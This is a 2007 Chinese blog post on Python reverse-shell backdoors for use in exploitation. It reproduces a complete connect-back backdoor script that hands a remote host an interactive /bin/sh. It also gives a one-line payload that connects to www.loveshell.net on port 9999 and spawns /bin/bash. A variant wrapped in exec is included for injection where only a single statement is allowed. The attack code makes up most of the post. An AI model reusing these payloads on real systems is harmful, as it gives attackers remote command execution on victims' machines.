在漏洞利用Python代码真的很爽


Posted in Python onAugust 26, 2007

不知道怎么忽然想看这个,呵呵
小我的python的反shell的代码
#!/usr/bin/python
# Python Connect-back Backdoor
# Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>
# Version: 1.0
# Date: July 15th 2006

import sys
import os
import socket
shell = "/bin/sh"

def usage(programname):
  print "Python Connect-back Backdoor"
  print "Auther: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>"
  print "Date: July 15th 2006\n"
  print "Usage: %s <conn_back_host> <port>\n" % programname

def main():
  if len(sys.argv) != 3: 
    usage(sys.argv[0])
    sys.exit(1)

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  try: 
    s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
    print "[+] Connect ok." 
  except: 
    print "[-] Could not connect to %s:%s" % (sys.argv[1], sys.argv[2]) 
    sys.exit(2)
  s.send("-------------------- Python Connect-back Backdoor --------------------\n")
  s.send("----------------------------- By wofeiwo -----------------------------\n")
  os.dup2(s.fileno(), 0)
  os.dup2(s.fileno(), 1)
  os.dup2(s.fileno(), 2)
  global shell
  os.system(shell)
  print "See U!"
  s.close()

if __name__ == "__main__": main()

用在漏洞利用的时候不太好,不是么?我们想要短点的,节省下就是

import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\r\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\r\n");os.system("/bin/bash");s.close();s.send("See u next time!\r\n");

如何?很短了吧?
不过很可能漏洞利用的地方不允许多语句,譬如允许的输入是在eval当中,不能多语句(后面有解释)那么还可以变化下
exec 'import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\\r\\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\\r\\n");os.system("/bin/bash");s.close();s.send("See u next time!\\r\\n");';

注意是\\r\\n哦,即使在''里好象\r\n一样会成为换行,所以其实这里即使不用;一样可以构造好代码的,另外,为什么不用eval呢?
翻了下手册
exec语句用来执行储存在字符串或文件中的Python语句。例如,我们可以在运行时生成一个包含Python代码的字符串,然后使用exec语句执行这些语句

eval语句用来计算存储在字符串中的有效Python表达式

呵呵,这里用eval好象会出错.
YY一下,思想是相同的,但是具体到语言又是不一样的,如何跳出语言的限制呢?是个问题......

Python 相关文章推荐
Python实现竖排打印传单手机号码易撕条
Mar 16 Python
如何用itertools解决无序排列组合的问题
May 18 Python
Python实现自定义顺序、排列写入数据到Excel的方法
Apr 23 Python
Python中extend和append的区别讲解
Jan 24 Python
利用Python实现微信找房机器人实例教程
Mar 10 Python
Python 使用指定的网卡发送HTTP请求的实例
Aug 21 Python
python实现代码统计程序
Sep 19 Python
Django实现从数据库中获取到的数据转换为dict
Mar 27 Python
python 合并多个excel中同名的sheet
Jan 22 Python
Pycharm 跳转回之前所在页面的操作
Feb 05 Python
Python进程池与进程锁之语法学习
Apr 11 Python
Python序列化模块JSON与Pickle
Jun 05 Python
python编程-将Python程序转化为可执行程序[整理]
Apr 09 #Python
python的几种开发工具介绍
Mar 07 #Python
王纯业的Python学习笔记 下载
Feb 10 #Python
一篇不错的Python入门教程
Feb 08 #Python
Python学习资料
Feb 08 #Python
Python完全新手教程
Feb 08 #Python
简明 Python 基础学习教程
Feb 08 #Python
You might like
使用Entrust扩展包在laravel 中实现RBAC的功能
2020/03/16 PHP
js中取得变量绝对值的方法
2015/01/03 Javascript
jQuery实现带渐显效果的人物多级关系图代码
2015/10/16 Javascript
Treegrid的动态加载实例代码
2016/04/29 Javascript
浅谈js中的延迟执行和定时执行
2016/05/31 Javascript
jQuery 更改checkbox的状态,无效的解决方法
2016/07/22 Javascript
AngularJs bootstrap搭载前台框架——js控制部分
2016/09/01 Javascript
NodeJS学习笔记之Module的简介
2017/03/24 NodeJs
Javasript设计模式之链式调用详解
2018/04/26 Javascript
浅谈Angular HttpClient简单入门
2018/05/04 Javascript
Vue路由模块化配置的完整步骤
2019/08/14 Javascript
layui table单元格事件修改值的方法
2019/09/24 Javascript
使用preload预加载页面资源时注意事项
2020/02/03 Javascript
Vue中import from的来源及省略后缀与加载文件夹问题
2020/02/09 Javascript
Selenium执行Javascript脚本参数及返回值过程详解
2020/04/01 Javascript
JS JQuery获取data-*属性值方法解析
2020/09/01 jQuery
删除目录下相同文件的python代码(逐级优化)
2012/05/25 Python
python tkinter控件布局项目实例
2019/11/04 Python
HTML5拍照和摄像机功能实战详解
2019/01/24 HTML / CSS
德国最大的网上鞋店之一:Schuhe24.de
2017/06/10 全球购物
英国最大的在线奢侈手表零售商:Jura Watches
2018/01/29 全球购物
英国乡村时尚和宠物用品专家:Pet & Country
2018/07/02 全球购物
JAVA和C++的区别
2013/10/06 面试题
财务与信息服务专业推荐信
2013/11/28 职场文书
写给保洁员表扬信
2014/01/08 职场文书
三年级评语大全
2014/04/23 职场文书
节能环保标语
2014/06/12 职场文书
现场活动策划方案
2014/08/22 职场文书
股份合作协议书
2014/09/10 职场文书
县政协领导班子群众路线教育实践活动四风问题整改方案
2014/10/26 职场文书
雾霾停课通知
2015/04/24 职场文书
2015年大学辅导员工作总结
2015/05/12 职场文书
2016形势与政策学习心得体会
2016/01/12 职场文书
人生哲理妙语30条:淡写流年,笑过人生
2019/09/04 职场文书
六年级作文之预言作文
2019/10/25 职场文书
Go缓冲channel和非缓冲channel的区别说明
2021/04/25 Golang